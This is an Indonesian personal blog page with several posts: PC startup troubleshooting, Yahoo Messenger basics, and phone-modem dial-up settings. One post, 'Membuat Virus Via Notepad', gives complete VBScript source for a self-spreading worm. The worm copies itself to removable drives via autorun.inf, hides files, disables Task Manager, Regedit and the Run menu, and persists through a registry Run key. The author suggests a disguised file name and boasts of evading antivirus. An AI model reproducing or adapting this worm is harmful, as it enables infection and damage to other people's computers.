  1. Yang perlu kamu periksa dahulu adalah apakah kabel power di komputer kamu terpasang dengan baik (tidak longgar). Periksalah semua kabel yang menghubungkan komputer, monitor, UPS atau stabilizer, apakah terpasang pada sumber listrik. Bisa jadi juga UPS atau stabilizer kamu rusak kalau tidak ada masalah pada kabel, coba jangan gunakan UPS atau stabilizer dahulu, lihat apakah komputer kamu menyala.
  2. Ingat-ingat dahulu apakah kamu ada melakukan perubahan pada komputer kamu sebelumnya, seperti mengubah voltase power supply, memindahkan komputer atau mengotak-atik bagian dalam komputer, atau mengubah setting BIOS. Kalau ada kembalikan seperti semula atau periksa kembali bagian yang pernah disentuh kamu apakah terpasang dengan benar.
  3. Kalau kamu ada mengubah setting BIOS, dan kamu tidak bisa mengubahnya kembali karena komputer tidak ada respon, maka kamu perlu me-reset BIOS secara manual. Baca buku petunjuk Mainboard kamu pada bagian me-reset BIOS. Lakukan dengan benar.
  4. Apakah komputer kamu mengeluarkan suara bunyi 'beep' panjang atau berulang-ulang?, kalau iya, mungkiin VGA Card atau memori kamu tidak terpasang dengan baik. Cobalah buka penutup casing komputer dan cek dahulu atau cabut pasang VGA Card atau memori bila kamu sudah yakin itu penyebabnya.

Bila semua hal di atas sudah kamu lakukan, tapi komputer tetap tidak menyala, kemungkinan ada kerusakan pada komputer kamu. Pada umumnya kerusakan yang mungkin terjadi:

  • Kerusakan biasanya pada Power Supply, bila lampu komputer tidak menyala sama sekali.
  • Kerusakan pada VGA Card, Mainboard & Memori, bila komputer menyala tapi layar monitor gelap. Kerusakan tertentu pada Harddisk bisa menyebabkan juga hal demikian
  • Kerusakan pada layar monitor (LCD) bila komputer menyala dan ada suara 'beep' 1x dan lampu Harddisk menyala, dan semua kipas berjalan.

Kalau kamu mempunyai cadangan sparepart di atas dan kebetulan kamu memiliki kemampuan untuk memasang komponen tersebut, kamu bisa melakukannya sendiri. Bila tidak sebaiknya hubungi toko komputer atau orang yang ahli di bidang ini.

Bila komputer kamu masih dalam masa garansi sebaiknya hubungi toko yang menjualnya, jangan mencoba untuk memperbaiki sendiri karena garansi bisa hangus bila kamu melepas komponen tertentu.

Baca Selengkapnya......
Kamis, 19 Maret 2009


Membuat Virus Via Notepad


Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

‘//–Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

Baca Selengkapnya......


Cara Chating di yahoo buat pemula



Dalam beberapa kesempatan saya sering melihat seseorang mengetikkan kata kunci di mesin pencari google yang berhubungan dengan cara chatting di yahoo messenger. Saya juga mengetahui bahwa mereka sering kali tidak mendapatkan info atau penjelasan yang diinginkan dan malah kesasar ke artikel saya yang berkaitan dengan yahoo messenger tetapi bukan merupakan info untuk pemula. Untuk itulah saya berfikiran bahwa perlu kiranya saya menuliskan sedikit pengantar mengenai cara-cara chatting di yahoo messenger kepada para pemula chat.

Langkah pertama yang anda para pemula lakukan untuk memasuki dunia yahoo messenger adalah adanya koneksi internet yang memungkinkan anda memasuki dunia maya. Tidak mungkin anda mampu chatting jika tidak memiliki fasilitas koneksi internet ini.

Kedua. Anda juga memerlukan software yahoo messenger yang terinstal dengan baik dalam komputer anda. Atau kalau anda melakukan koneksi lewat warung internet atau warnet anda harus mencari software ini apakah sudah terinstal atau belum. Saya kira sangat jarang warnet yang tidak menyediakan software ini pada layanan mereka. Kalau kebingungan silahkan download software chat client yahoo messenger di sini. Dalam link tersebut terdapat beberapa versi yahoo messenger, versi lama (6 atau 7), versi 8 dan versi 9. Ada juga versi vista. Saya sarankan pilih yang versi 8.

Biasanya sortcut yahoo messenger sudah terpampang di layar komputer dekstop anda. Klik dua kali atau klik kemudian tekan enter untuk masuk menjalankan software ini. Untuk pengetahuan yang lebih lanjut anda bisa menggunakan software-software chat

Baca Selengkapnya......

seting nokia 3230


Hape sebagai modem untuk melakukan koneksi internet
merupakan cara paling sederhana yang layak dilakukan bagi generasi yang serba kebelet,
misalnya sekedar untuk ber YM ria lewat pc,
atau membuka email dari rekan bukan kebelet merayu cewek lho?.
Tapi bagi professional surfer saya kira kurang puas,
kecuali bisa melakukan tweak juga pendongrak koneksi internet.

Berikut settingan beberapa profider mulai gsm dan cdma,
kalo ada yang kurang silahkan di tambahi.

Persiapan:
A.Peralatan yang di perlukan:

Sebuah HP yang support GPRS, dan sudah bisa koneksi dengan GPRS.
Kartu telepon / sim card.
Personal computer boleh juga laptop.
Perangkat koneksi, dari HP ke PC. Boleh pakai kabel data, Bluetooth,
atau IrDA (Infrared Data Adapter).
Berikut dengan drivernya yang sudah diinstall.
Pokoknya sudah bisa kirim-kiriman antara PC dan HP.
Tancapkan hanphone yang sudah aktif gprsnya (pastikan kondisi on)
dengan kabel data ke usb komputer anda.
Bila file driver telah ada di komputer maka secara otomatis
akan mendeteksi dengan sendiri. bila tidak lakukan
penginstalan driver secara manual.



B.Setting Modem

Start >> control panel >> Phone and Modem Options>>
akan muncul daftar modem yang udah terdeteksi oleh komputer
beserta portnya bisa com2, com7 dst.
Bila sudah ada berarti terdeteksi bila belum bisa di pastikan
salah satu setingan belum lengkap,
periksa kabel data dan hidupkan hanphone anda.

Untuk memastikan koneksi antara pc dengan hanphone secara manual,
silahkan sorot nama modem anda lalu pilih properties,
di tab general akan tertera nama modem hape anda,
lalau pilih diagnostics lalu query modem,
bila tertera success berarti komunikasi oke.
Silahkan lihat bagian tab advanced,
lalu di bagian extra setting masukkan kode dibawah ini: - lalu ok.



Kode extra setting

AT+CGDCONT=1,”IP”, “Acsess poin name operator”
Sebagai catatan: Acsess poin name merupakan variable
yang senantiasa bisa berubah,
kita sesuaikan dengan kartu hanphone yang kita pakai.

Contoh: anda memakai kartu im3 sebagai kartu hanphone
yang anda gunakan sebagai modem handphone,
maka settingannya kan jadi sebagai berikut:
AT+CGDCONT=1,”IP”,”www.indosat-im3.net”

Berikut settingan kode untuk masing masing operator:
AT+CGDCONT=1,”IP”,”www.indosat-im3.net” untuk im3
AT+CGDCONT=1,”IP”,”satelindogprs.com” untuk matrix dan mentari
AT+CGDCONT=1,”IP”,”internet” untuk telkomsel
AT+CGDCONT=1,”IP”,”xlgprs.net” untuk xl

C.Melakukan koneksi / membuat dial up:

Buka Control Panel lagi,
Pilih Network Connections,
New Connection Wizard.
Ikuti langkah-langkahnya dengan menekan Next…
Untuk Connection Type, pilih Connect to the Internet
Getting Ready, pilih Set up my connection manually
Internet Connection, pilih Connect using a dial-up modem
Pada connection name / isp name isikan nama
terserah anda misal konekyuk (sebagai nama koneksi anda)
Pada Phone number to dial, isikan *99***1# (lihat daftar di bawah untuk cdma berbeda)
Pada dialog pengisian username dan password,
sesuaikan dengan setting kartu anda.
Jika menggunakan IM3, usernamenya gprs dan passwordnya im3
(lihat daftar di bawah. silahkan di sesuaikan sendiri.
Daftar username dan password serta dial number gsm dan cdma:

Telkomsel
username: wap
password: wap123
dial number : *99***1#

Mentari
username: indosat
password: indosat
dial number : *99***1#

Matrix
username: silahkan di kosongi
password: silahkan dikosongi
dial number : *99***1#

Xl
username: xlgprs
password: proxl
dial number : *99***1#

Im3 ( yang berdasarkan kb )
username: gprs
password: im3
dial number : *99***1#

Im3 ( yang berdasarkan waktu/ time base )
username: indosat@durasi
password: indosat@durasi
dial number : *99***1#

Fren
username: m8
password: m8
dial number : #777

Telkom Flexy
username: telkomnet@flexy
password: telkom
dial number : #777

Starone
username: starone
password: indosat
dial number : #777

Catatan : angka 1 di dalam setingan dial number
silahkan disesuaikan dengan banyaknya koneksi internet
yang ada di komputer anda.
contoh anda memiliki 2 macam koneksi internet dari pc
anda maka dial number bisa diisi: *99***2# dst.

Untuk kartu IM3, fasilitas GPRS-nya otomatis aktif saat kartunya diaktifkan.
Untuk Simpati dan lain-lain masih perlu register dulu,
dan untuk nomor lain bisa menghubungi customer service
untuk informasi aktivitas GPRS. Saya buat tutorialnya setting gprs ini.

Selamat berinternet dengan aman jangan lupa pakek kondom antivirus,
Senantiasa hemat pengeluaran anda dan dapatkan hasil yang maksimal,
he..he. Semoga tutorial ini bermanfaat.
Didukung juga oleh www.downloadvideo3gp.com,

Baca Selengkapnya......

foto agun

Baca Selengkapnya......

my own

Baca Selengkapnya......

Salam kebebasan buat masyarakat sintang

Baca Selengkapnya......